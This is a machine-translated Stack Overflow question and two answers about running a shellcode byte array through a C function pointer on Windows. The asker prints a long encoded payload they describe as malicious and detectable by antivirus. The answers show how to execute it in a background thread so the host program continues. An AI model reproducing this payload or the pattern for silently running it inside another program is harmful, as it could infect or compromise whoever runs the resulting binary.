1
#include <stdio.h>
char shellcode[] = "some shellcode here";
int main (int argc, char **argv) {
    void (*sptr)();
    sptr = (void(*)()) (&shellcode);
    sptr();
    printf("must display this");
    return 0;
}

在运行程序时,它执行 sptr() 并挂在那里,可能是因为 shellcode 在内存中运行。printf("..") 永远不会执行。我的问题是我希望程序执行 printf()。

请帮忙 :)

回复 Eric Finn 和 Alvin Wong

我按照你们俩的指示进行了更改,我得到的错误是:

Microsoft Windows [版本 6.1.7600] 版权所有 (c) 2009 Microsoft Corporation。版权所有。

X:>"my program.exe" '»".¼' 不是内部或外部命令、可运行程序或批处理文件。必须显示此

char shellcode[] 有效。我之前已经编译成功了。

以下是带有恶意 shellcode 的原始代码,因此您的防病毒软件应该检测到它,只是为了验证你们的 shellcode 不是问题:

#include <stdio.h>
#include <stdlib.h>

char shellcode[] = "\xda\xd3\xd9\x74\x24\xf4\xbd\xe9\x6d\xf8\x29\x58\x33\xc9\xb1"
"\x58\x31\x68\x18\x83\xe8\xfc\x03\x68\xfd\x8f\x0d\xd5\x15\xc6"
"\xee\x26\xe5\xb9\x67\xc3\xd4\xeb\x1c\x87\x44\x3c\x56\xc5\x64"
"\xb7\x3a\xfe\xff\xb5\x92\xf1\x48\x73\xc5\x3c\x49\xb5\xc9\x93"
"\x89\xd7\xb5\xe9\xdd\x37\x87\x21\x10\x39\xc0\x5c\xda\x6b\x99"
"\x2b\x48\x9c\xae\x6e\x50\x9d\x60\xe5\xe8\xe5\x05\x3a\x9c\x5f"
"\x07\x6b\x0c\xeb\x4f\x93\x27\xb3\x6f\xa2\xe4\xa7\x4c\xed\x81"
"\x1c\x26\xec\x43\x6d\xc7\xde\xab\x22\xf6\xee\x26\x3a\x3e\xc8"
"\xd8\x49\x34\x2a\x65\x4a\x8f\x50\xb1\xdf\x12\xf2\x32\x47\xf7"
"\x02\x97\x1e\x7c\x08\x5c\x54\xda\x0d\x63\xb9\x50\x29\xe8\x3c"
"\xb7\xbb\xaa\x1a\x13\xe7\x69\x02\x02\x4d\xdc\x3b\x54\x29\x81"
"\x99\x1e\xd8\xd6\x98\x7c\xb5\x46\xc0\x0a\x45\xfe\x7d\x9a\x2b"
"\x97\xd5\x34\xf8\x10\xf0\xc3\xff\x0b\xcd\x34\xa8\xe4\x79\x9c"
"\x3d\x0a\xd2\x4a\xf8\x5c\xa3\x2d\x03\xb5\xb8\x79\xa7\x04\xf6"
"\x2f\x06\x0c\x0b\x81\xf9\xb8\x5b\x21\xfa\x38\x0f\x71\x92\x6f"
"\x26\xee\xa4\x70\xed\xfa\x1d\xd7\x3f\x2f\x0f\x8f\x3f\xcd\x90"
"\xcb\x12\x83\x82\x82\xc0\x73\x4b\xcf\xb0\x5d\xb0\xf0\xee\x2b"
"\x00\x64\x01\x77\xbc\x87\x76\xd0\xe9\x20\x2f\xb6\x38\xc8\xd7"
"\x3d\xbc\x01\x62\x01\x37\xb3\x26\xf6\xa8\x28\x51\x1d\x81\x46"
"\x65\x1d\xed\x69\x45\x98\x22\xf8\xdf\x5c\x43\x6a\x10\xe9\xe1"
"\x3c\x2f\xc7\x8c\x80\xa7\xe8\x40\x00\x38\x81\x60\x00\x78\x51"
"\x36\x68\x20\xf5\xeb\x8d\x2f\x20\x98\x1e\x83\x42\x78\xf7\x4b"
"\x55\xa7\xf7\x8b\x06\xf1\x9f\x99\x3e\x74\xbd\x61\xeb\x02\x81"
"\xea\xd9\x86\x06\x12\x21\x1d\xc8\x61\x40\x46\x0b\x61\xef\x88"
"\x74\x8d\x9d\x1f\xe9\x00\x31\x93\x82\x82\xb9\x7d\x3f\x24\x2f"
"\x82";

int main (int argc, char **argv) {

void (*sptr)();
    sptr = (void(*)()) (&shellcode);
    sptr();
    printf("must display this"); // instead of more lines i put this one
    return 0;
}

以上代码编译成功,运行完美

我将一些行更改为系统(shellcode)。它编译但不能正常运行

4

2 回答 2

4

好的,因为shellcode实际上是机器代码而不是 shell 代码(根据您的最新编辑),所以答案是不同的。

当你声明char shellcode[],shellcode是一个指向内存位置的指针。这意味着,而不是

sptr = (void(*)()) (&shellcode);

你应该有

sptr = (void(*)()) (shellcode);

此外,您希望代码位于二进制文件的可执行部分,而不是二进制文件的数据部分。这意味着你想要char *shellcode = ...而不是char shellcode[] = ....

此外,您应该确保它shellcode是一个有效的编译 C 函数,其调用约定与调用它的代码相同。

于 2012-07-13T14:14:16.500 回答
1

据我了解,您想运行一些“机器代码”(不是shellcode),并且无论代码如何运行,它都应该继续执行程序。

这是可能的,通过使用线程。

首先添加这些包括:

#include <windows.h>
#include <process.h>

在您的代码中:

void (*sptr)(void*);                  // Type for `_beginthread`
sptr = (void(*)(void*)) (&shellcode); // PLEASE rename to `machinecode`
_beginthread(sptr,0,NULL);            // This starts your code in a new thread
Sleep(5000);                          // Wait for 5000 ms
printf("must display this");

当然,这不是多线程程序的正确方法,但是由于您的代码是“机器代码”,因此没有太多工作要做。

PS 当我尝试您的代码时,它最终到达“访问冲突”(分段错误)(并显示“x.exe 遇到问题”对话框),并且我的防病毒软件没有检测到任何东西(我需要切换到另一个一个??),因此您可能需要查看代码或添加异常处理程序...

于 2012-07-14T08:31:39.290 回答